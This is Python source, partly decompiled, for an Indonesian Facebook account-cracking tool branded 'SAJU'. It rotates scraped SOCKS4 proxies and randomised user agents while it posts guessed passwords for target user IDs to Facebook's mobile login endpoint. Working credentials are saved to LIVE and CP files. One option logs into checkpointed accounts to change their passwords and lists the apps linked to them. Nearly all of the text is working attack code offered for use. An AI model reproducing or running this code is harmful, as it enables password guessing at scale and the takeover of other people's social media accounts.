Selesai ✓[green] ')) print('') print(' Lanjut Crack Kembali {y/t } ? ') woi = input('Pilih : ') if woi in ['y','Y']: back() else: print('Thanks you ') time.sleep(2) exit() # METHODE CRACK NYA NGAB JIKA INGIN HASIL MAXIMAL # UBAH LAGI BAGIAN HEADER DAN UA NYA NGAB def crack(idf,pwv): global loop,ok,cp animasi = random.choice(["\x1b[1;91m🕧","\x1b[1;92m🕐","\x1b[1;93m🕑","\x1b[1;94m🕒","\x1b[1;95m🕓","\x1b[1;96m🕔","\x1b[1;97m🕕","\x1b[1;91m🕖","\x1b[1;92m🕗","\x1b[1;93m🕘","\x1b[1;94m🕙","\x1b[1;95m🕚","\x1b[1;96m🕛"]) sys.stdout.write(f"\r {animasi} {P}[{M}{loop}{N}/{M}{len(id)}{P}] {P}[{H}OK:{ok}{P}] {P}[{M}CP:{cp}{P}] [{H}{'{:.0%}'.format(loop/float(len(id)))}{P}]"), sys.stdout.flush() ua = random.choice(kuntul) ses = requests.Session() for pw in pwv: try: nip=random.choice(proxy) proxs= {'http': 'socks4://'+nip} ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}) p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr') dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,} koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ]) koki+=' m_pixel_ratio=2.625; wd=412x756' heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs) if "checkpoint" in po.cookies.get_dict().keys(): print(f'\r {K}CHEKPOINT ✓\n USERNAME : {idf}\n PASSWORD : {pw}{N}') open('CP/'+cpc,'a').write(idf+'|'+pw+'\n') akun.append(idf+'|'+pw) cp+=1 break elif "c_user" in ses.cookies.get_dict().keys(): ok+=1 coki=po.cookies.get_dict() kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]) print(f'\r {H}LIVE ✓\n USERNAME : {idf}\n PASSWORD : {pw}{N}') open('LIVE/'+okc,'a').write(idf+'|'+pw+'\n') break else: continue except requests.exceptions.ConnectionError: time.sleep(61) loop+=1 # FB2 def crack2(idf,pwv): global loop,ok,cp animasi = random.choice(["\x1b[1;91m🕧","\x1b[1;92m🕐","\x1b[1;93m🕑","\x1b[1;94m🕒","\x1b[1;95m🕓","\x1b[1;96m🕔","\x1b[1;97m🕕","\x1b[1;91m🕖","\x1b[1;92m🕗","\x1b[1;93m🕘","\x1b[1;94m🕙","\x1b[1;95m🕚","\x1b[1;96m🕛"]) sys.stdout.write(f"\r {animasi} {P}[{M}{loop}{N}/{M}{len(id)}{P}] {P}[{H}OK:{ok}{P}] {P}[{M}CP:{cp}{P}] [{H}{'{:.0%}'.format(loop/float(len(id)))}{P}]"), sys.stdout.flush() ua = random.choice(kuntul) ses = requests.Session() for pw in pwv: try: nip=random.choice(proxy) proxs= {'http': 'socks4://'+nip} ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}) p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr') dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/v2.3/dialog/oauth?app_id=124024574287414&cbt=1651658200978&e2e=%7B%22init%22%3A1651658200978%7D&sso=chrome_custom_tab&scope=email&state=%7B%220_auth_logger_id%22%3A%2268f15bae-23f8-463c-8660-5cf1226d97f6%22%2C%227_challenge%22%3A%22dahj28hqtietmhrgprpp%22%2C%223_method%22%3A%22custom_tab%22%7D&redirect_uri=fbconnect%3A%2F%2Fcct.com.instathunder.app&response_type=token%2Csigned_request%2Cgraph_domain%2Cgranted_scopes&return_scopes=true&ret=login&fbapp_pres=0&logger_id=68f15bae-23f8-463c-8660-5cf1226d97f6&tp=unspecified","flow":"login_no_pin","pass":pw,} koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ]) koki+=' m_pixel_ratio=2.625; wd=412x756' heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'} po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs) if "checkpoint" in po.cookies.get_dict().keys(): print(f'\r {K}CHEKPOINT ✓\n USERNAME : {idf}\n PASSWORD : {pw}{N}') open('CP/'+cpc,'a').write(idf+'|'+pw+'\n') akun.append(idf+'|'+pw) cp+=1 break elif "c_user" in ses.cookies.get_dict().keys(): ok+=1 coki=po.cookies.get_dict() kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]) print(f'\r {H}LIVE ✓\n USERNAME : {idf}\n PASSWORD : {pw}{N}') open('LIVE/'+okc,'a').write(idf+'|'+pw+'\n') break else: continue except requests.exceptions.ConnectionError: time.sleep(61) loop+=1 if __name__=="__main__": os.system('git pull') os.system('clear');loading() login() -------------------------------------------------------------------------------- /F7-1_dec.py: -------------------------------------------------------------------------------- 1 | # Decompile by Mardis (Tools By Kapten-Kaizo) 2 | # Time Succes decompile : 2022-09-26 18:52:56.190199 3 | 4 | 5 | import os 6 | try: 7 | import requests 8 | except ImportError: 9 | print('\n [×] Modul requests belum terinstall!...\n') 10 | os.system('pip install requests') 11 | 12 | try: 13 | import concurrent.futures 14 | except ImportError: 15 | print('\n [×] Modul Futures belum terinstall!...\n') 16 | os.system('pip install futures') 17 | 18 | try: 19 | import bs4 20 | except ImportError: 21 | print('\n [×] Modul Bs4 belum terinstall!...\n') 22 | os.system('pip install bs4') 23 | 24 | import requests, os, re, bs4, sys, json, time, random, datetime, subprocess 25 | from concurrent.futures import ThreadPoolExecutor as YayanGanteng 26 | from datetime import datetime 27 | from bs4 import BeautifulSoup 28 | ct = datetime.now() 29 | n = ct.month 30 | bulan = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'Agustus', 'September', 'October', 'November', 'December'] 31 | try: 32 | if n < 0 or n > 12: 33 | exit() 34 | nTemp = n - 1 35 | except ValueError: 36 | exit() 37 | 38 | current = datetime.now() 39 | ta = current.year 40 | bu = current.month 41 | ha = current.day 42 | op = bulan[nTemp] 43 | waktu = '%s %s %s'%(ha,op,ta) 44 | waktu.split('/') 45 | P = '\x1b[1;97m' # PUTIH 46 | M = '\x1b[1;91m' # MERAH 47 | H = '\x1b[1;92m' # HIJAU 48 | K = '\x1b[1;93m' # KUNING 49 | B = '\x1b[1;94m' # BIRU 50 | U = '\x1b[1;95m' # UNGU 51 | O = '\x1b[1;96m' # BIRU MUDA 52 | N = '\x1b[0m' # WARNA MATI 53 | A = '\x1b[1;90m' # WARNA ABU ABU 54 | BN = '\x1b[1;107m' # BELAKANG PUTIH 55 | BBL = '\x1b[1;106m' # BELAKANG BIRU LANGIT 56 | BP = '\x1b[1;105m' # BELAKANG PINK 57 | BB = '\x1b[1;104m' # BELAKANG BIRU 58 | BK = '\x1b[1;103m' # BELAKANG KUNING 59 | BH = '\x1b[1;102m' # BELAKANG HIJAU 60 | BM = '\x1b[1;101m' # BELAJANG MERAH 61 | BA = '\x1b[1;100m' # BELAKANG ABU ABU 62 | my_color = [ 63 | P, M, H, K, B, U, O, N] 64 | warna = random.choice(my_color) 65 | data,data2={},{} 66 | aman,cp,salah=0,0,0 67 | ubahP,pwBaru=[],[] 68 | Apk = [] 69 | ok = [] 70 | cp = [] 71 | id = [] 72 | user = [] 73 | loop = 0 74 | url_lookup = "https://lookup-id.com/" 75 | url_mb = "https://mbasic.facebook.com" 76 | url_ip = "https://www.httpbin.org/ip" 77 | url_graph = "https://graph.facebook.com/{}" 78 | header_grup = {"user-agent": "Mozilla/5.0 (BB10; ) AppleWebKit/ (KHTML, like Gecko)Version/ Mobile Safari/"} 79 | bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} 80 | hhhh, iiii, jjjj, kkkk = "index.php?", "next=https%3A%2F%2Fdevelopers.facebook.com", "%2Ftools%2Fdebug", "%2Faccesstoken%2F" 81 | dddd, eeee, ffff, gggg = "login", "device-based", "validate-password", "?shbl=0" 82 | aaaa, bbbb, cccc = "tools", "debug", "accesstoken" 83 | bahasa = "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7" 84 | uas_bawaan = "Mozilla/5.0 (BB10; ) AppleWebKit/ (KHTML, like Gecko)Version/ Mobile Safari/" 85 | uas_nokiac2 = "NokiaC2-00/2.0 (03.45) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; kau; nokiac2-00) UCBrowser8.3.0.154/70/352/UCWEB Mobile" 86 | uas_nokiax20 = "Mozilla/5.0 (Linux; Android 12; Nokia X20 Build/SKQ1.210821.001; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36" 87 | uas_nokiax = "Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)" 88 | uas_samsungse = "Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36" 89 | uas_redmi9a = "Mozilla/5.0 (Linux; U; Android 10; id-id; Redmi 9A Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.116 Mobile Safari/537.36" 90 | uas_nokiaxl = "Mozilla/5.0 (Linux; Android 4.1.2; Nokia_XL Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36 NokiaBrowser/1.2.0.12" 91 | uas_tes = "Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4X Build/MiUI MS; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/65.0.3325.109 Mobile Safari/537.36 Instagram 38.0.0.13.95 Android (24/7.0; 480dpi; 1080x1920; Xiaomi/xiaomi; Redmi Note 4X; mido; qcom; ru_RU; 99640911)" 92 | uas_random = random.choice(["Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36","NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+","Mozilla/5.0 (Linux; Android 10; Nokia 5.1 Plus Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 12; SAMSUNG SM-G780G) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166 Mobile Safari/537.36"]) 93 | uas_nokiac3 = "NokiaC3-00/5.0 (08.63) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+" 94 | uas_iphone = "Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBDV/iPhone11,8;FBMD/iPhone;FBSN/iOS;FBSV/13.3.1;FBSS/2;FBID/phone;FBLC/en_US;FBOP/5;FBCR/]" 95 | uas_nokia5plus = "Mozilla/5.0 (Linux; Android 10; Nokia 5.1 Plus Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, seperti Gecko) Versi/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36" 96 | uas_random2 = random.choice(["Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36[FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]","Mozilla/5.0 (Linux; Android 4.4.4; en-au; SAMSUNG SM-N915G Build/KTU84P) AppleWebKit/537.36 (KTHML, like Gecko) Version/2.0 Chrome/34.0.1847.76 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.87.90 Mobile Safari/537.36 NokiaBrowser/1.0,gzip(gfe)","Mozilla/5.0 (Linux; U; Android 4.4.2; zh-CN; HUAWEI MT7-TL00 Build/HuaweiMT7-TL00) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/40.0.2214.89 UCBrowser/11.3.8.909 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 10; M2006C3MG) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Mobile Safari/537.36","Mozilla/5.0 (Linux; Android 7.0; SM-G930VC Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.83 Mobile Safari/537.36"]) 97 | ugen2=[] 98 | ugen=[] 99 | 100 | try: 101 | prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text 102 | open('.proxy.txt','w').write(prox) 103 | except Exception as e: 104 | exit(e) 105 | 106 | for xd in range(10000): 107 | a='Mozilla/5.0 (Symbian/3; Series60/' 108 | b=random.randrange(1, 9) 109 | c=random.randrange(1, 9) 110 | d='Nokia' 111 | e=random.randrange(100, 9999) 112 | f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/' 113 | g=random.randrange(1, 9) 114 | h=random.randrange(1, 4) 115 | i=random.randrange(1, 4) 116 | j=random.randrange(1, 4) 117 | k='Mobile Safari/535.1' 118 | uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}') 119 | ugen2.append(uaku) 120 | 121 | 122 | aa='Mozilla/5.0 (Linux; U; Android' 123 | b=random.choice(['6','7','8','9','10','11','12']) 124 | c=' en-us; GT-' 125 | d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 126 | e=random.randrange(1, 999) 127 | f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 128 | g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' 129 | h=random.randrange(73,100) 130 | i='0' 131 | j=random.randrange(4200,4900) 132 | k=random.randrange(40,150) 133 | l='Mobile Safari/537.36' 134 | uaku2=(f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}') 135 | ugen.append(uaku2) 136 | 137 | def jalan(z): 138 | for e in z + '\n': 139 | sys.stdout.write(e) 140 | sys.stdout.flush() 141 | time.sleep(0.03) 142 | 143 | def mentod(): 144 | print('%s══════════════════════════════════════════\n %sMETHOD MENU%s'%(N,BM,N)) 145 | print(' %s[%s1%s] Method 1 free (%sRecommended%s)'%(N,H,N,H,N)) 146 | print(' [%s2%s] Method 2 mbasic (%sRecommended%s)'%(H,N,H,N)) 147 | print(' [%s3%s] Method 3 mobile (%sRecommended%s)'%(H,N,H,N)) 148 | def loading(): 149 | animation = ["[\x1b[1;91m■\x1b[0m□□□□□□□□□]","[\x1b[1;92m■■\x1b[0m□□□□□□□□]", "[\x1b[1;93m■■■\x1b[0m□□□□□□□]", "[\x1b[1;94m■■■■\x1b[0m□□□□□□]", "[\x1b[1;95m■■■■■\x1b[0m□□□□□]", "[\x1b[1;96m■■■■■■\x1b[0m□□□□]", "[\x1b[1;97m■■■■■■■\x1b[0m□□□]", "[\x1b[1;98m■■■■■■■■\x1b[0m□□]", "[\x1b[1;99m■■■■■■■■■\x1b[0m□]", "[\x1b[1;910m■■■■■■■■■■\x1b[0m]"] 150 | for i in range(50): 151 | time.sleep(0.1) 152 | sys.stdout.write(f"\r {N}[{H}•{N}] {H}Loading...{N} " + animation[i % len(animation)] +"\x1b[0m ") 153 | sys.stdout.flush() 154 | print("") 155 | def logo(): 156 | print("""\n 157 | ┌─────────────────────────────────────────────────────────────┐ 158 | │ │ 159 | │ ███████ █████ ██ ██ ██ ███╗ ███╗██╗ ██╗ │ 160 | │ ██ ██ ██ ██ ██ ██ ██╔══██╗ ████╗ ████║╚██╗ ██╔╝ │ 161 | │ ███████ ███████ ██ ██ ██ ██████╔╝█████╗██╔████╔██║ ╚████╔╝ │ 162 | │ ██ ██ ██ ██ ██ ██ ██ ██╔═══╝ ╚════╝██║╚██╔╝██║ ╚██╔╝ │ 163 | │ ███████ ██ ██ █████ ██████ ██║ ╚═╝ ██║ ██║ │ 164 | │ ╚═╝ ╚═╝╚══════╝╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ │ 165 | │ SAJU YUSUP 2022 │ 166 | └─────────────────────────────────────────────────────────────┘""") 167 | 168 | def hasil(ok,cp): 169 | if len(ok) != 0 or len(cp) != 0: 170 | print(f'\n%s══════════════════════════════════════════\n [%s✓%s] %sCracking By SAJU Usercrack...\n%s══════════════════════════════════════════'%(N,H,N,H,N)) 171 | print(f' %s[%s+%s] Number of Accounts OK : %s%s%s'%(H,H,H,H,str(len(ok)),H)) 172 | print(f' [%s+%s] Number of Accounts CP : %s%s%s'%(H,H,H,str(len(cp)),H)) 173 | cek_cp = input(f"{H}══════════════════════════════════════════\n [{H}+{H}] Show CP detector options [{H}Y{N}/{M}t{N}]: ") 174 | if cek_cp =="": 175 | print(f"\n [{M}!{N}] Don't be empty");hasil(ok,cp) 176 | elif cek_cp in["Y","y"]: 177 | jalan(f" {N}[{M}!{N}] Play airplanemode first");time.sleep(5) 178 | ww=input(f"\n {N}[{K}?{N}] Change password when {BM}TAP YES{N} [{H}Y{N}/{M}t{N}]: ") 179 | if ww in ("Y","y","ya"): 180 | ubahP.append("y") 181 | print(f" {N}[{H}•{N}] Password example : {H}SAJU123{N}") 182 | pwBar=input(f" {N}[{K}?{N}] Enter new password : {H}") 183 | #print("\n") 184 | if len(pwBar) <= 5: 185 | print('\n %s[%s×%s] Password minimum 6 characters'%(N,M,N)) 186 | else: 187 | pwBaru.append(pwBar) 188 | for memek in cp: 189 | kontol = memek.replace('\n', '') 190 | titid = kontol.split(' • ') 191 | print(f'{N}══════════════════════════════════════════\n {H}LOGIN PROCESS') 192 | jalan(f' {N}[{M}?{N}] Account : {K}{kontol.replace("[SAJU-CP] ", "")}{N}') 193 | try: 194 | log_hasil(titid[0].replace("[SAJU-CP] ", ""), titid[1]) 195 | except requests.exceptions.ConnectionError: 196 | continue 197 | print("") 198 | print("") 199 | jalan(' %s[%s✓%s] %sChecking process is complete%s'%(N,H,N,H,N)) 200 | jalan(' %s[%s✓%s] Retrun SC type "%spython UserCrack.py%s"'%(N,H,N,H,N));exit() 201 | elif cek_cp in["T","t"]: 202 | jalan(f"\n {N}[{H}•{N}] {N}Ok, thank you. Retrun SC type '{H}python UserCrack.py{N}'");exit() 203 | else: 204 | print(f"\n {N}[{M}!{N}] Choose Y/t");hasil(ok,cp) 205 | else: 206 | jalan('\n\n %s[%s!%s] Sorry you didnt get results'%(N,M,N));exit() 207 | 208 | 209 | 210 | def cek_apk(session,coki): 211 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":coki}).text 212 | sop = BeautifulSoup(w,"html.parser") 213 | x = sop.find("form",method="post") 214 | game = [i.text for i in x.find_all("h3")] 215 | if len(game)==0: 216 | print(f'\r %s[%s!%s] %sSorry there is no Active Apk%s '%(N,M,N,M,N)) 217 | else: 218 | print(f'\r 🎮 %sYour Active Application Details :'%(H)) 219 | for i in range(len(game)): 220 | print(f"\r└── %s%s. %s%s"%(N,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N)) 221 | #else: 222 | #print(f'\r %s[%s!%s] Sorry, Apk check failed invalid cookie'%(N,M,N)) 223 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":coki}).text 224 | sop = BeautifulSoup(w,"html.parser") 225 | x = sop.find("form",method="post") 226 | game = [i.text for i in x.find_all("h3")] 227 | if len(game)==0: 228 | print(f'\r└── %s[%s!%s] %sSorry no Expired Apk%s \n'%(N,M,N,M,N)) 229 | else: 230 | print(f'\r 🎮 %sYour Expired Application Details :'%(M)) 231 | for i in range(len(game)): 232 | print(f"\r└── %s%s. %s%s"%(N,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N)) 233 | else: 234 | print(f'\r') 235 | 236 | 237 | 238 | #print(f'\r %s[%s!%s] Sorry, Apk check failed invalid cookie\n'%(N,M,N)) 239 | def login(): 